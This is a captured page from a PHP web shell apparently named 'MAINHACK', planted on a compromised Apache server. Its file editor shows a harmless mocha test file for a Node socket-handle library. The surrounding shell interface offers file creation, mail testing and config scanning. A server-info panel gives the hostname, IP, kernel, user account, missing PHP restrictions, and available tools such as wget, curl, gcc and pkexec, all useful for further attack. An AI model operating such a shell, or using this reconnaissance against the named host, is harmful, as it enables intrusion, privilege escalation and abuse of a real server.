[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: api-test.js
/* eslint-env mocha */ var assert = require('assert') var net = require('net') var streamPair = require('stream-pair') var thing = require('../') describe('Handle Thing', function () { var handle var pair var socket; [ 'normal', 'lazy' ].forEach(function (mode) { describe(mode, function () { beforeEach(function () { pair = streamPair.create() handle = thing.create(mode === 'normal' ? pair.other : null) socket = new net.Socket({ handle: handle, readable: true, writable: true }) if (mode === 'lazy') { setTimeout(function () { handle.setStream(pair.other) }, 50) } }) afterEach(function () { assert(handle._stream) }) it('should write data to Socket', function (done) { pair.write('hello') pair.write(' world') pair.end('... ok') var chunks = '' socket.on('data', function (chunk) { chunks += chunk }) socket.on('end', function () { assert.strictEqual(chunks, 'hello world... ok') // allowHalfOpen is `false`, so the `end` should be followed by `close` socket.once('close', function () { done() }) }) }) it('should read data from Socket', function (done) { socket.write('hello') socket.write(' world') socket.end('... ok') var chunks = '' pair.on('data', function (chunk) { chunks += chunk }) pair.on('end', function () { assert.strictEqual(chunks, 'hello world... ok') done() }) }) it('should invoke `close` callback', function (done) { handle._options.close = function (callback) { done() process.nextTick(callback) } pair.end('hello') socket.resume() }) it('should kill pending requests', function (done) { handle._options.close = function () { setTimeout(done, 75) } socket.write('hello') socket.destroy() }) if (mode === 'normal') { it('should invoke `getPeerName` callback', function () { handle._options.getPeerName = function () { return { address: 'ohai' } } assert.strictEqual(socket.remoteAddress, 'ohai') }) it('should emit ECONNRESET at `close` event', function (done) { pair.other.emit('close') socket.on('error', function (err) { assert(/ECONNRESET/.test(err.message)) done() }) }) } }) }) })
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.63 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002